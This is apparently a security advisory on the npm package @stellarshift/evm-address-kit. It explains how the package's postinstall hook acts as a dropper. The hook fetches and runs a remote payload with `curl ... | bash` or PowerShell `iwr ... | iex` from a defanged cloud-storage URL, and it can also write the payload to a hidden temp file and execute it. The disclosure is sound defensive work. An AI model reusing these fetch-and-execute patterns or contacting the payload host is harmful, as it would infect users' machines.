@stellarshift/evm-address-kit@1.0.1

Analysis

The package's postinstall hook (scripts/postinstall.js) is a multi-stage dropper. On macOS/Windows hosts that have both Lark/Feishu and FortiClient installed, it downloads and executes a remote stage-1 payload from hxxps://mexc-1258433570[.]cos[.]ap-beijing[.]myqcloud[.]com/abi-tool-damon via `curl -fsSL ... | bash` (or `powershell -NoProfile -c "iwr ... | iex"` on Windows), running silently in the background with errors suppressed so the install appears normal. The payload URL is a Tencent Cloud COS object-storage endpoint hosting a beacon/stage-1 script. The dropper also supports a binary mode that writes the downloaded payload to a temp file (~/.cache_worker) and executes it. The main index.js is a benign EVM address utility; the malicious behaviour is entirely in the install hook.